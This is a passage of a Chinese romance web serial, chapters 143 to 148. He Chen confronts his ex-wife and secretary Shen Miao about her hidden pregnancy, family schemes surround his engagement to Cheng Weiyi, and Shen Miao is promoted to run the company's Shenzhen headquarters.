孙易琴暗示着,贺懿看着好说话,可不是好处的性子。 也不知怎么的,跟沈渺那个低等人走得近,反而跟程唯怡一直不对眼。 不知明黎艳是没听懂,还是听懂了装不懂。 她将包挂在臂弯上,往外走,“行了,好好歇着吧,我先回去了。” “唯怡,快送送你伯母。”孙易琴给程唯怡使眼色。 “好。”程唯怡转身去送明黎艳。 明黎艳在门口停下,示意程唯怡不用送,“我去找贺忱聊两句,你照顾好你妈就行了。” 说完她关上门走了。 高跟鞋声渐行渐远。 程唯怡转过头来,看向孙易琴。 “怎么?贺忱不同意把婚期提前?” 孙易琴看程唯怡脸色,就知道这事儿没谈拢。 程唯怡点头。 “你伯母也不松口。”孙易琴叹息了声,“但你伯母说得对,贺忱答应的事情就不会变卦,你们青梅竹马感情也有,你到底在怕什么?” 程唯怡犹豫了一下,坐到孙易琴身边去,附在孙易琴耳边低语了几句。 孙易琴瞪大眼睛,倒吸一口凉气,眼睛都翻白了。 “你,你糊涂啊!” 143.怀孕这么久了,他还不打算娶你吗 “妈,我喜欢贺忱哥,他不论是家世还是自身条件都是最好的,我一定要嫁给他!” ‘一定要’。 程唯怡说这三个字时,语气加重,更为清晰。 孙易琴却是一脸的无奈,“你太冒险了,这件事情婚前让贺家人知道,你跟贺忱的婚事就完了,而婚后你没办法跟贺忱交代啊!” “你放心,只有贺忱哥一个人知道,至于婚后的事情……就等婚后再说。” 程唯怡抓住孙易琴的手,“妈,所以我不想等,我怕出差错!” 孙易琴脑瓜子嗡嗡的,这事比她的病还要她的命。 “你让妈缓缓……” 她一下又一下地抚着心脏,眼前一阵阵发黑。 好一会儿,孙易琴冷静下来,她反拍了程唯怡的手两下。 “事已至此,就只能赌到底,只要不出乱子你这个贺少夫人的位置是稳了的,听妈的话,等……” —— 明黎艳提前给贺忱发了消息,贺忱在医院外等着她。 她拉开车门上去,车门未完全关上时,发问的话已经开了口。 “你最近怎么搞的?要结婚了,跟唯怡的关系反而不好了,让她人心惶惶,闹了一出又一出。” 贺忱发动引擎,骨节分明的手转动方向盘,驱车驶入车流。 “是她自己想多了。” “你性子冷,她肯定没有安全感,都打算结婚了就好好对人家。” 明黎艳现在对程唯怡也没像以前那么包容了。 从他们在一起,订婚到决定结婚,闹出的这些事情。 不是损害贺家名声,百荣利益,就是给贺忱带来负面影响。 “至少别再闹出乱子来,贺家的脸都丢得差不多了。” 贺忱鼻腔里发出一个单音节。 见他如此漠然,明黎艳只觉得胸腔里灌满了凉气,哇凉哇凉的。 这门婚事她是贺家唯一一个双手赞同的。 要真闹出事情,她都没办法交代。 只希望婚前,别再出任何乱子了! 程家闹出的这些小动静,贺家人一眼就能看透他们的目的。 母子两人刚进家门,贺老夫人就放下茶盏,悠悠然问了句。 “婚礼,提前了吗。” 贺忱放下车钥匙换鞋进屋,嗓音如常,“没有。” 明黎艳跟进来说,“易琴的病不严重,她也没有提前的意思,就是自己吓自己,我让她好好养着。” 她给程家圆和了两句。 贺老夫人给贺忱竖了个大拇指,“咱们贺家人,怎么也不能让一个女人给拿捏了。” 说罢,她看了贺岭山一眼,“有一个没出息的,就够了。” 贺岭山:“……” “小懿呢。”贺忱扫视一圈,“她最近怎么没去公司。” 贺老夫人往楼上看了一眼,“在房间,最近她部门太忙了,那个主管把她当丫鬟使,她避避风头。” 贺忱抬脚朝楼上走去。 他敲响了贺懿的房门。 “谁啊?” “我。” 房内一阵杂乱的声音,夹杂着贺懿拔高的音量,“你等下,你先别进来!” 约莫五六分钟,房门才被打开。 贺懿穿着浅米色的小黄人睡衣,头发跟鸡窝一样。 她将门打开一条缝,探出头来看贺忱。 “哥,你找我有事?” “让开。”贺忱薄唇轻启,吐出两个字,威压十足朝贺懿灌去。 贺懿吞吞口水,‘哦’了一声,把门打开。 清一色浅粉色,可爱的风格与贺忱那副老成的样子格格不入。 他拧着眉进去,在床尾的沙发上坐下,“说说,这几天不去上班,什么情况。” “奶奶没跟你说吗?”贺懿反问。 “我要听你说。”贺忱双腿叠放,双手穿插自然放在身前。 他指腹轻轻圈绕着,一副肃谨的样子。 贺懿皱了皱眉,“部门主管他想追我,我拒绝了,他就开始给我穿小鞋,哥,你给我换个部门吧?” 这是她没敢跟贺老夫人说。 不然贺老夫人能提刀杀公司去,让主管睁大狗眼,撒泡尿照镜子看看他自己啥德行的。 那她的身份可就曝光了,她还想在公司做两年‘卧底’玩玩呢。 “我知道了。” 贺忱避而不答,“等我把他安排掉,你就回去上班。” 贺懿眼睛一亮,“有靠山就是好!哥你啥时候安排?我明天回去上班?” “先不急。”贺忱顿了顿说,“上班后你没好好休息,在家玩两天。” “?”贺懿瞪大眼睛,打量着贺忱。 不对劲,贺忱只会压榨她,什么时候主动让她玩儿两天过? “沈渺申请了调职,过两天就要走了,你抽时间去见见她。” 贺忱意有所指。 贺懿早就听说了,“我早就想约沈渺了,但我又怕给你添麻烦。” “给我添什么麻烦。”贺忱反问。 “还不是程家那边,万一让她们知道我约沈渺,肯定又不高兴。” 这两天,程唯怡时不时就给她发消息,试图跟她搞好关系。 可程唯怡的目的性太强了,她都热情不起来。 昨天程唯怡就忍不住问了,她为什么对沈渺那么好,对程唯怡就不行? “没什么不高兴的。”贺忱示意她,“你该怎么做就怎么做。” 贺懿立马就拿过手机,又给沈渺发消息,“真的?那我现在就约她,商场新开了一家烤鱼店,她最爱吃鱼了,带她去尝尝。” 贺忱颔首,复起身朝外走。 走到门口,他停下来又说了句,“如果发现她有不对的地方,及时告诉我。” 贺懿没听出他玄外音,挥着手,“知道了知道了,你赶紧走吧。” 贺忱走出她房间,关上门,折身下楼。 沈渺答应跟贺懿见面,但她换了一家餐厅。 怀孕后,她不爱吃鱼了,就算没了孕反吃鱼也会忍不住想吐。 “程家想把婚约提前,我哥不愿意,最后还是原定日子,奶奶可高兴了。” 贺懿见到沈渺,喋喋不休讲贺忱跟程唯怡的事情。 沈渺静静听着,眼帘轻垂卷翘的睫毛轻颤了两下。 “提前也好,等待太难熬了。” 程唯怡盼着跟贺忱结婚,她又何尝不是? 盼着他们结婚,盼着自己能早点离开,盼着早点把孩子生下来。 “渺渺,你跟何之洲怎么样了?”贺懿以为她所谓的等待,是还没等来何之洲娶她。 贺懿忍不住说,“你都怀孕这么久了,他还不打算娶你吗?” 144.怀孕的事情,我看你怎么解释! 沈渺呼吸一滞,拿着筷子的手哆嗦了下。 筷子应声落桌,砸在碗碟上,清脆的声音落入沈渺耳朵里,一下就慌了她的心律。 “你,说什么?” “哎呀,其实我和奶奶早就知道你怀孕了。” 贺懿轻拍了下自己的嘴,她又说漏了! “我也知道,你这个孩子是何之洲的,奶奶想认你当干孙女,就是给你撑腰,让你有足够的身份进何家的门……” 沈渺脑袋嗡嗡作响。 她怀孕的那一刻,就知道自己这个普通人,跟背景雄厚的贺家没有任何的对抗性。 所以离开京北,才是悄然无声生下这个孩子最好的办法。 没离开是计划之外的事情,被发现也是迟早的事情。 可她万想不到,贺老夫人跟贺懿竟然早就知道了。 更惊讶,她们居然认为这个孩子是何之洲的。 她大脑飞速运转,想知道哪个环节出了错。 贺懿见她脸色白了几分,忙说,“你别怕,这件事就我跟奶奶知道,爷爷都不知情,奶奶怕知道的人多了走漏风声,给你带来麻烦。” “你哥也不知道?”沈渺吐字有些费力,此刻她的心是卡在嗓子眼里的。 贺懿点头,“当然了,他跟何之洲是死对头,他要是知道了,你岂不是遭殃了?” 听到贺懿的话,沈渺的眼泪差点儿没掉下来。 是对贺老夫人跟贺懿为她着想的感动。 是贺忱与真相失之交臂的庆幸。 “不过你怎么又要申请调到分公司去呢?” 贺懿不明白,“何之洲知道吗?” 沈渺缓了缓情绪说,“他……知道,我有计划和打算,谢谢你跟奶奶为我做的一切,再帮我跟奶奶说声对不起。” 她愧对于贺老夫人的好,更愧对于贺懿对她的知无不言。 “我们都理解你,别搞这么沉重,你有需要帮忙的地方一定要跟我们说。” 贺懿竭尽全力地帮她。 一顿饭,吃得沈渺心里不是滋味。 贺懿察觉到她的不对劲,以为是拆穿她怀孕的事情,她不自在了。 “奶奶,你说渺渺除了让我跟你道谢,还让我跟你说对不起,这是为什么?” 贺家,贺懿刚回来,就依偎到贺老夫人身边,边吃水果边将见面的事情都说了。 贺老夫人眉宇染上一丝心疼,“大概是她不肯接受我们帮忙,觉得过意不去吧,这傻孩子……” “那我们就真不管了吗?”贺懿递到嘴边的水果,又放回去,“我好担心她会被何之洲那个渣男坑了。” “罢了,顺其自然吧。” 贺老夫人有心无力,因为沈渺跟贺忱一样。 都是个有主意的。 贺懿咂咂嘴,靠在贺老夫人肩膀上,“奶奶,将来我的婚事,你一定也要保持这种想法,帮我跟我妈对着干,行吗?” “你是真不怕贺家鸡犬不宁。” 贺老夫人戳了戳她的头,“我早就看你妈不顺眼了,她除了选你爸选对了,选儿媳妇的眼光可真不咋地,正好借着你这儿,跟她干。” 贺懿抱着贺老夫人的身体撒娇。 “生死看淡,不服就干,咱们两个还能干不过她一个人吗?” 两人笑声未落地,贺懿的手机乍然响起。 是贺忱打来的电话。 她揉了揉笑得发酸的苹果肌,接电话,“哥。” “见过沈渺了?”贺忱直入主题。 贺懿‘嗯’了声,“对,我刚回来。” 那端静默数秒,贺忱问,“她没跟你说什么?” “说什么?”贺懿‘嘶’了一声,“你怕她说你坏话吗?没有的事儿,我跟人家提你,人家理都不理的。” 贺忱:“……” 他声音又沉了些,“那你没看出些什么?” “你还真别说,我看出来了。”贺懿声音突然一沉。 “什么。” 贺懿,“沈渺是真烦你,不然她也不能提离婚,现在还要申请调职,哥,你到底干了什么,让她对你这个避之不及?” 连贺懿都看出来,沈渺在躲他。 “现在滚到公司来上班,还来得及,不然这个月奖金全扣。” 贺忱丢下两句话,直接挂了电话。 贺懿,“啊?欸不是,你让我好好休息两天的啊……” 她着急忙慌上楼换衣服,一边在心里埋怨贺忱一边冲向公司。 这端,结束通话的贺忱将领口扯开几颗。 电脑屏幕暗着,映出他轮廓紧绷的面容。 他舌尖抵着腮帮,俊朗无双的面容,肃谨凝重,又夹杂着一丝很深的不解。 不知过了多久,他打出一通电话去,“我要让沈渺主动承认,她怀孕的事情。” “我是医生,不是许愿池里的王八。” 那端的人静了几秒说。 贺忱不为所动,“越快越好。” —— 这层窗户纸,就算没捅破,也已经不堪微风了。 沈渺悬着的心,离吊在胸口不远了。 结束跟贺懿的饭局,她回到商音那儿,一只脚刚踏进门。 就听商音说,“你少给我叽叽歪歪的,赶紧把卷卷给我送回学校去!” 听到开门声,商音往这边看了一眼,与她对视后用口型说出‘浅姨’。 沈渺放下包轻手轻脚走过来,在商音旁边坐下。 “行,证明的事情交给我们了,明天早上给你送过去,你把钱准备好,明天也给我。” 不知浅姨说了什么,商音的脸色缓和了些。 电话挂断,沈渺问,“怎么了?” “我打电话问她钱的事情,她避而不谈,跟我说卷卷想回学校,差一道手续,医院开具的健康诊断证明。” 现在校方认为,卷卷身患绝症不让她回去上学。 哪怕浅姨说生病是误会,学校也不同意,让她拿着卷卷的健康证明回去。 “你不是有秦川的联系方式吗?你再让秦川帮个忙?” 商音把难题甩给沈渺。 按理说,卷卷回医院做个体检就行。 可是校方有意为难,不想再让卷卷入学,明天就要看到健康证明。 沈渺想,秦川在医院人脉虽然不广,但弄一份健康证明应该不难。 她硬着头皮给秦川打的这通电话。 “我现在就去帮你办,你来医院找我。” 不知是出于对卷卷的同情,还是其他,秦川答应得很爽快。 “我今天下午约了跟粉丝大哥一起吃饭,渺儿,你一个人去行吗?” 商音犯难,她连现金都准备好了,见一面把钱还了。 对方客气就多聊两句。 如果对方别有目的,她把钱扔下就跑。 “我一个人去吧。” 沈渺屁股都没坐热乎,就又起来了,马不停蹄地朝医院赶过去。 下午四点钟,医院逐渐安静。 沈渺来的时候,秦川的诊室里没有病人。 他端坐在桌前,手里把玩着一直碳素笔。 他身后,检查室的门虚掩着一条缝。 但里面静悄悄的,应该也没有人。 “秦医生。” 沈渺把办公室打量了个底朝天,才推门进来。 秦川朝她颔首,“沈秘书,怀着孕还总是奔波,要小心腹中孩子。” “我的孕检不是都挺好?谢谢秦医生关心。” 沈渺客气着,脸上漾开客气又淡然的笑容。 下一秒,检查室虚掩的门突然开了。 贺忱那抹颀长的身影,赫然映入眼帘。 他双手插兜走出来,目光直勾勾盯着沈渺。 那双眼睛不像是惊讶沈渺怀孕了? 更像是质问:怀孕的事情,我看你怎么解释。 “东西在这,你们聊,我去看个病人。” 秦川丢下健康证明匆匆走了。 办公室门被关上,空气一下稀薄不少,沈渺悬着的心,这下是彻底死了! 145.贺忱:沈渺,这个孩子是我的吗! 撂挑子走人的秦川,桌上放着的健康证明。 五一不在向沈渺宣告,这是一场鸿门‘证’。 而不是巧合。 既然是早有预谋,也就意味着,贺忱已经知道,她怀孕的事情了。 她还没从林昭知道她跟贺忱睡过的提心吊胆中回过神来。 今天中午,贺懿那儿就让她方寸大乱了。 这短短几个小时…… 沈渺早就做好了贺忱会知道的准备。 可当这一刻真的来临时,她还是无法自控的慌了。 贺忱拉开椅子坐下,双腿微敞姿态慵懒地看着她。 他那双浅褐色的眼眸,凝着她,一眨不眨。 “怎么不说话。” 若说他以前怀疑沈渺有意瞒着他怀孕的事情。 那现在,他可以肯定沈渺就是在刻意隐瞒。 他那张俊秀的脸上写着两个大字,解释。 “贺总。” 沈渺轻咬了下内唇,深吸一口气,调整好情绪。 “这么巧,您也来找秦医生,我请秦医生帮了一点小忙,已经办完了,如果没有其他事情,我先——” “沈渺。” 贺忱很少直呼她的名字。 还是用如此严肃的语气。 稀薄的空气一下僵住了,沈渺呼吸都逐渐变得困难。 许是察觉到她的不安,肚子里的小家伙也狠狠踹了她肚皮两脚。 “你怀的……” “贺总。” 沈渺急于开口,打断他的追问。 “我不是刻意隐瞒怀孕的,只是没有找到合适开口的机会。” 她有点儿得了便宜卖乖,自己不说还要倒打贺忱自己没发现的意思。 男人轮廓分明的面容沉下来,“倒是我的不是,不够体恤下属。” “身为上司,贺总已经很合格了。” 沈渺垂着眼帘,低眉顺眼的样子,细微可见的心虚被隐藏得很好。 上司。 沈渺给她刻意隐瞒怀孕添了一个很好的理由。 他们是上下司的关系,贺忱又是男的,她总不能无缘无故突然说:老板我怀孕了。 前夫加男上司,两个身份不论哪一个,她来这么一句,都会让人想入非非。 贺忱突然觉得自己变得没理。 她唇红齿白,寡淡肃然的小脸透着红润,看上去有几分无辜。 办公室外时不时传来声声嘈杂,愈发衬得这个逼仄空间令人窒息。 “贺总,没别的事情我就先走了。” 沈渺向他走了一步,倾身拿过健康证明。 随着她的动作,单薄的粉色裙衫晃动,熨贴着在她身上,小腹的弧度显现出来。 贺忱的目光那微微凸起的肚子上,心头像是被刺了一下,说不出的异样。 她的肚子里,怀上了别的男人的孩子。 他看着她转身离开,一双纤细白嫩的手,搭在门把上。 门开一条缝,身后男人的声音沉闷又不容置疑。 “沈渺,这个孩子是我的吗?” 沈渺的手骤然收缩,指尖一下就白了。 她脸上的血色,都在一瞬间褪得一干二净。 好在除了那扇白色的冰冷木门,没有人能看到。 他是不是从林昭口中知道,他们睡过那一晚了? 不然,他怎么会问出这样的问题? 沈渺紧咬内唇,唇腔里化开腥锈味儿。 她身体紧绷,呼吸缓慢,大脑有些缺氧,眼前的视线都变得模糊不清。 “离婚半年才怀,贺总,孩子真不是你的。” “那这个孩子是谁的。” 贺忱问完,才意识到自己那句话不妥。 可他还是静等着沈渺的回答,心头像是被狠狠重击了一下。 他又出乎预料不死心地追问了一句。 “跟贺总没关系。” 沈渺说完这话推开门往外走。 刚走出去没两步,手腕一紧就猛地被男人拉住。 是贺忱,他追出来了。 “你在怕什么?” “你在干什么?” 沈渺佯装镇定,被他紧紧束缚在墙壁与他胸口之间,她反问着。 贺忱薄唇倏地抿成一条直线。 他在干什么? 问他的前妻,他的下属,怀了谁的孩子? “你跟何之洲不清不楚,他是我的死对头你的我的下属,我不该问清楚这个孩子是谁的吗?” 他的理直气壮,令他的话语十分薄凉,讥诮。 沈渺抬着头,黑白分明的眼眸看着他咄咄逼人的样子。 她的眼眶不禁微红,心像泡在柠檬汁里,又酸又涩。 她以为,至少贺忱是了解她的。 她就算再没有分寸,怎么会跟何之洲扯到一起去呢? 可—— “沈渺。” 不远处,突然传来一道声音。 沈渺循声看去。 张科研站在不远处,他手里拎着公文包,像是刚下班。 他面色有些不自在,但硬着头皮朝他们走过去。 此刻,走廊只有他们三个。 贺忱也抬起头看过来,他微眯的长眸盯着渐渐走过来的张科研。 “贺总。” 张科研朝贺忱微微颔首,“又见面了,你……能不能放开我未婚妻。” 沈渺呼吸一滞。 贺忱瞳仁一深。 “抱歉,我跟沈渺还没有结婚,所以她怀孕的事情暂时隐瞒了,希望贺总理解一下,主要是我母亲生病严重,不方便办婚礼,又怕给她带来影响。” 张科研字正腔圆,给出的理由滴水不漏。 贺忱手上的动作一松。 沈渺趁势在他怀里出来,站到了张科研身边。 她轻轻揉着有些发红的手腕,却是不敢看贺忱的脸色。 “贺总,我们先走了。” 张科研附声,“贺总,再见。” 他转身跟上沈渺,两人身形渐渐远去。 他们身形交错的背影,落入贺忱的眼底,刺得贺忱眼睛难受。 贺忱抵着墙,掏了一根烟,咬在嘴里点火时,火光雀跃颤抖。 他点了好几次,才将火点着。 烟支缓慢燃烧,烟雾缭绕,蕴在男人的轮廓。 他一言不发,站在长廊里,一根接一根地吸烟。 —— 医院公园。 “抱歉,擅自做主了一次,会给你带来麻烦吗。” 张科研站在树荫下,他面含歉意。 沈渺摇头。 他的出现,解救她于水火之中。 但她有些不安,“但这样或许会给你带来麻烦。” “你帮了我那么多次,我该还你这个人情,不会有麻烦的。” 张科研指的是,沈渺帮他母亲找医生,又以交往为目的去见了张母的事情。 他很会拿捏分寸,也是个聪明人。 沈渺不是个乱搞男女关系的人,她的孩子不会是何之洲的。 至于是谁的,他心如明镜。 146.谢谢你了,我们两清 但沈渺避而不谈,“那就谢谢你了,我们两清了。” 张科研颔首。 “再见。”沈渺转身离开。 坐上出租车的那一刻,她身体里紧绷的弦才彻底松开。 像是被卸了力气那般,瘫靠在椅背上,脸色一阵青白交加。 一个小时后,她与商音前后脚,在家门口遇上。 她从车上下来时,踉跄了一下,商音冲过来搀扶住她。 “你的手怎么这么凉?” 天气炎炎,沈渺的手冰凉,小脸煞白。 商音的脸色凝重,“出什么事情了?” 沈渺反手关上出租车门,稳了稳心神后拉着商音往家里走。 后怕让她有些失音,回到家中,商音给她倒了两杯温水。 好一会儿,她才缓过来,事无巨细地说了。 商音听得直吸凉气。 “那张科研来得可真及时,幸好你以前帮过他,不然这一劫你逃都逃不掉。” 沈渺擦了擦额头的细汗,指尖微凉。 贺忱将她拦下,那双墨色的瞳仁盯着她看的时候,她仿佛在他眼睛里看到了争夺抚养权时的冷漠和无情。 那一刻,她的心被撕扯得稀碎。 “好了好了,不怕了。” 商音抱着她,轻声安抚,“我当初不敢随便找个男人生商商,就是怕涉及抚养权的问题,你这……不过怀孕是意外,也不能怪你,贺忱知道了也好,他不会想到孩子是他的……” 这话提醒沈渺了。 “林昭知道那晚我跟贺忱睡过。” 沈渺拍了拍商音的手,商音松开她。 她起身在包里拿出手机,给林昭发消息,约林昭明天早上见一面。 林昭消息回得很快:【沈秘书,我知道你见我是为了什么,你放心,我什么都不知道。】 本着多一事不如少一事的原则,林昭选择了装不知道。 沈渺舒一口气。 共事这么久,她了解林昭,言而有信。 “你这个圈子里,接触的都是聪明人。” 商音看到林昭回的消息,劝慰沈渺,“没事的,贺忱会追着问可能是觉得你一直瞒着,疑神疑鬼的。” 沈渺轻点了下头,缓过神来,捅破窗户纸不再提心吊胆,她整个人轻松了不少。 “今晚不直播了,我们早点休息,明天一早去孤儿院,把东西给浅姨,顺便把钱拿回来。” 商音把健康证明放到包里,撸起袖子进厨房,准备晚餐。 沈渺整顿好情绪,跟进去帮忙。 “把钱还给粉丝了吗?” 她问商音。 商音手上的动作一顿,片刻恢复正常,头也不回的回答。 “还了,人还挺好的,看着得比我大十多岁,一直喊我妹子,还说下次有机会再出来喝茶,我嘴上答应,但哪里还有下次?咱们就快走了吧。” 是啊,快走了。 沈渺心里重复着她最后一句话。 次日一早,两人去孤儿院,将健康证明给了浅姨。 “是沈渺托人办的吧?” 浅姨接过证明,试探性地问,“是你那个老板帮的忙?” “这不是你该管的事情,把钱给我。” 商音双手揣兜,一脸不愿多说的表情。 浅姨起身,给两人倒了一杯热水,然后在她们对面坐下。 “我知道,我这些年对你们不算好,可我伺候这么多孩子,当初也照顾了你们,没有功劳也有苦劳……” 商音打断道,“你想坐牢?” 浅姨一噎。 “少给我说些有的没的,今天你要不把钱拿出来,我就送你去警局!” 商音一点儿情面也不给。 沈渺亦是一脸没有回转余地的表情。 “你听我把话说完!”浅姨加快语速,“你们两个离开京北,以后就别再回来了,各自管好自己的孩子,不用再给孤儿院打钱了,这些钱也别要了,还不行吗?” 商音冷笑道,“你的字,我连标点符号都不信。” 浅姨当即说,“我可以签保证书。” “你的保证一文不值。”商音站起来,端起水杯重重放下,水溢出来滴在桌子上。 沁出的一颗颗水珠,倒映着她剑拔弩张的面色。 见商音这儿说不通,浅姨看向沈渺。 “我跟商音正是用钱的时候,那些钱你必须还回来,保证我们未来几年的开销。” 沈渺也不给她反转的余地,“我们不会不管孤儿院的孩子,前提是你别把我们逼急了。” 浅姨脸色有些不好,见两人都不松口,她破罐子破摔。 “钱没了!别说今天,这辈子我都还不上,你们要是这么为难人,就去报警吧!” 钱没了? 沈渺和商音这些年辛辛苦苦的积蓄,这才多长时间,就花没了? “孤儿院每个月的开销是多少,我和沈渺一清二楚,你骗谁呢?” 商音根本不信,“行,走吧,去警局!” 她拉着浅姨往外走,直奔警局。 孤儿院的义工请假了,商音带着浅姨去警局,沈渺只能留下来照顾孩子。 约莫一个小时,商音给沈渺打来电话。 “我托了人,调查了浅姨的账户,钱真没了。” 这笔钱,交给浅姨时,她们谁也没想过还能回来。 可钱用在刀刃上,跟被坑走,不是一个概念的。 钱到底去了哪里,有待考察。 总之,就算把浅姨送到警局,钱也回不来。 不多时,商音带着浅姨回来了。 孤儿院还需要她。 “孩子们过得紧巴巴的,她把钱花哪儿去了?” 回家的路上,商音实在憋不住地问。 一簇簇阳光照进车内,正中午的太阳足,温度逐渐燥热。 沈渺把空调打开,她想了想说,“这些年,她要多少我们给多少,从未关注过孤儿院的具体开销,这钱以后不能再稀里糊涂地给了。” 钱都没了,浅姨嘴上说这些钱不还以后不再管她们要了。 可沈渺觉得,还会要。 “我得查查,她到底把钱花哪里了。” 商音非得把事儿弄清楚了。 几十万,一个普通人怎么在短短几天内,花掉这么多钱呢? 沈渺正思考着时,手机突然响了一声。 林昭给她发了一条消息。 【沈秘书,你调职的事情贺总已经考虑好了,你猜猜他怎么安排的?】 沈渺眼皮一跳,回:【怎么安排的?】 147.婚照结,孩子也要! 【先保密,给你一个惊喜,总之这次你是要高升了。】 林昭卖了个关子。 贺忱秘书,对公司职员来说,已经是最高的位置了。 还要高升? “咋,他把公司送你了,让你当百荣总裁?” 商音一想就乐了,“那咱们下半辈子,岂不是不愁吃喝了?” 沈渺白她一眼,“他就算真给我,我也不敢要。何况,他没有理由给我。” 不说那是百荣,那是贺家产业,还有多少董事盯着。 就算这是贺忱的私有财产,他也没道理给她。 “百荣是不是没有总经理?” 商音想起什么似的说,“他该不会提拔你当总经理吧?” 沈渺想都不想就说,“虽然百荣确实没有总经理,但这绝对不可能,总部的高管职位基本都是跟董事会沾亲带故的,我没那个资格。” “哎呀!”商音闷事儿,“你快想,快想他到底要提拔你当什么!憋死我了……” 不是沈渺不想,而是沈渺想不透。 贺忱向来不按套路出牌。 被拆穿怀孕的事情,把她开除了她都不意外。 偏偏是提拔高升…… —— 以往整洁干净的办公室,此刻被呛人的烟气笼罩。 林昭敲响办公室门,在得到男人一个‘进’字后,他推门而入。 刚走两步,就被呛得掩唇咳嗽起来。 缓过神,他快步走向窗边,将窗户开到最大。 “贺总,明天早上有晨会,您早点休息吧。” 下班前,林昭例行公事般过来提醒贺忱。 此刻,贺忱坐在沙发上。 那张轮廓分明的面容看起来与往常无异。 可白色的衬衫松垮垮地挂在他身上。 扣子敞开着,袖口挽起,领带丢在茶几上。 烟灰缸里堆满的烟蒂,无一不在宣告,他状态极差。 “知道了。” 贺忱嗓音低沉,“把工作调整好,明天开始恢复正常工作。” 林昭颔首,“是,贺总。” 这两日,贺忱的工作耽误了不少。 “贺总,您……找过沈秘书了,是吗?” 贺忱不语,却是默认的意思。 林昭小心翼翼地问,“沈秘书怀的谁的孩子,她说了吗?” 不知是不是错觉,林昭觉得他问完这话,贺忱的脸色更黑,周围的气息更冷了。 “你很闲?那留下来加班。” “没!”林昭忙不迭摇头,“我就是想知道,沈秘书要是怀的是您的孩子,而您快跟程小姐结婚了,您会怎么做?” 他这话刚落地,贺忱的眉骨拧得能夹死人。 “婚照结,孩子也要。” 不知想到什么,他眸光一下锐利不少。 复他看向林昭,“这样的答案,你满意?” 林昭一激灵,他只是想知道答案,好确定自己隐瞒这事儿,到底是不是正确的,没别的意思啊! 现在看来,隐瞒是正确的! “是我逾越了,对不起贺总,您早点休息,我先走了。” 说完他溜之大吉。 走出贺忱的办公室门,他轻拍着胸脯。 可是一想到,贺忱给沈渺安排的职位,他的面色又复杂起来。 都说他跟了贺忱这么多年,是贺忱肚子里的蛔虫。 可他自己清楚,他也就能看懂贺忱脸色,跟不跟摸不透想法。 —— 林昭不会跟沈渺开玩笑。 说高升,最起码不会是坏事。 可等待的过程,依旧让沈渺惴惴不安。 两天后,她收到了人事部发来的邮件,让她到公司办理新职位的手续。 一早,沈渺换了套职业装,前往公司。 她在路上,就给张敏发消息打听新职位是什么。 张敏:【是郭经理亲自操办的,我这个职位都没资格知道,听说你这次是要晋升了,因祸得福啊!】 【我就说绯闻那事儿,不能怪你,我听说又是程小姐搞出来的?贺总可能是心中有愧,想弥补你。】 沈渺把手机关了。 弥补?她不敢想。 半小时后,商音的车从百荣门口停下。 “半小时,你要是不出来我就冲进去。” 她在手机上倒计时半小时,这时间足够沈渺走完调职流程的。 沈渺不由得好笑,“这里是公司,不是土匪窝。” “这儿绝对比土匪窝还可怕。” 商音毫不夸张地说,“我觉得贺忱不正常,我怕他闹幺蛾子,若有事你及时给我打电话,我去救你。” 沈渺应了声,转身上楼。 平底鞋踩在光滑的地板上发出细微的声音。 伴着她规律的心跳声,声声起伏。 “沈秘书!” 前台看到她,惊喜又意外地打招呼,“你回来上班了?” 沈渺放缓脚步,朝着前台颔首。 “来拿调职书。” 前台点着头,朝她笑着,待她一转头,立马就离开工位去传播消息。 沈渺乘电梯上楼,过了上班地点,电梯里没人。 她直奔人事部,拿调职书。 郭经理亲自把黄色牛皮纸袋交给她,脸上挂着恭维的笑容。 “恭喜沈秘书高升,以后有机会常回来看看,再联系!” “郭经理客气了。” 沈渺垂下眼帘看了眼牛皮纸袋,与郭经理寒暄着。 “调职书下来得比较急,贺总还没签字,你上楼跟贺总告别时,顺便就签了。” 郭经理送她到门口。 沈渺,“好,谢谢郭经理。” 她转身进入电梯,电梯门合上的一瞬间,她迅速拆开牛皮纸袋,拿出调职书。 深城,南方总部总经理职位。 百荣的分公司遍布各地,北方以百荣为首,可南方距离遥远群龙无首,有些事情贺忱赶不及处理。 前两年贺忱在深城建立总部分部,管理南方分公司,前段时间刚刚成立。 这个职位,含金量极高。 沈渺配不上。 不是她的能力不配,而是她的背景不配。 做贺忱的秘书,是打工牛马界的天花板。 小分公司的总经理,算是高管牛马的天花板。 可这是总部分部的总经理,已经跳脱了牛马圈子。 她面临的将会是百荣董事,商圈大佬,能完全代表百荣了。 ‘叮’ 电梯门开了。 沈渺还拿着调职书愣在原地,随着电梯门缓缓打开,男人颀长的身影映入眼帘。 贺忱刚出办公室,浅灰色的西装裹身,修长肆意的身影站在那里。 他深谙不可见底的眼眸,刚好朝沈渺看过来。 148.你完完全全是我的人、离婚的补偿 “沈秘书……哦不,沈总,是来调职的吧?” 林昭跟在贺忱后面,他看到沈渺眼睛闪烁几下。 一闪为沈渺高升。 二闪为沈渺终于要走了,危机算是解除了吧? 沈渺人没出电梯,站在原地没动。 隔了几秒,电梯门缓缓自动合上。 她回过神,连忙摁下按钮,走出电梯。 “贺总,林助。” 沈渺站到贺忱面前,她低头看了看调职书,“我……” “进办公室说。” 贺忱将文件交给林昭,折身进入办公室。 林昭接了文件,冲沈渺使眼色,低声说,“只要贺总签了字,你就能走!” 贺忱一定会签字的。 沈渺点了下头,她抬脚进入办公室。 那日办公室的杂乱已经消失不见,恢复整洁干净。 贺忱靠在办公桌边上,手里拿着笔,正在等她。 “贺总,你要不要再考虑考虑。” 换做以前,就算配不上这个职位,沈渺逮住机会能走也就走了。 可是如今贺忱已经知道她怀孕,就算危机还在—— 可她也不能这么不明不白地走。 “之前深城那边负责人,您内定的人选是韩董的儿子。” 韩董在百荣相当有分量。 他儿子实力虽然差了点儿,但是背景很硬,足够坐这个位置。 “韩董前段时间去了深城一趟,他带他儿子见了几个商圈大佬,背着我。” 贺忱言简意赅。 深城分部主管南方分公司,是能跟贺忱平起平坐的存在。 一旦韩董的儿子有了足够的人脉和资源,有了外心,对贺忱是很大的威胁。 不,在韩董带着他儿子背着贺忱去深城见商圈大佬铺路时,就已经暴露外心了。 沈渺愕然,商场如战场。 贺忱坐到今天这个位置上不容易,未来想坐稳不能只靠能力。 还得靠未卜先知,靠解决隐患。 “您说的是,确实该换人,但我真的不适合。” “选你,是因为你背景足够干净,你完完全全是我的人。” 贺忱朝她伸出手来,“当做,离婚的补偿。” ‘你完完全全是我的人、离婚的补偿’。 这些字眼,像是冲着沈渺的软肋扎的一样,让沈渺无从反驳。 她坐上这个职位,不服她的人数之不尽。 她的靠山是贺忱,只能依靠着贺忱坐稳这个位置。 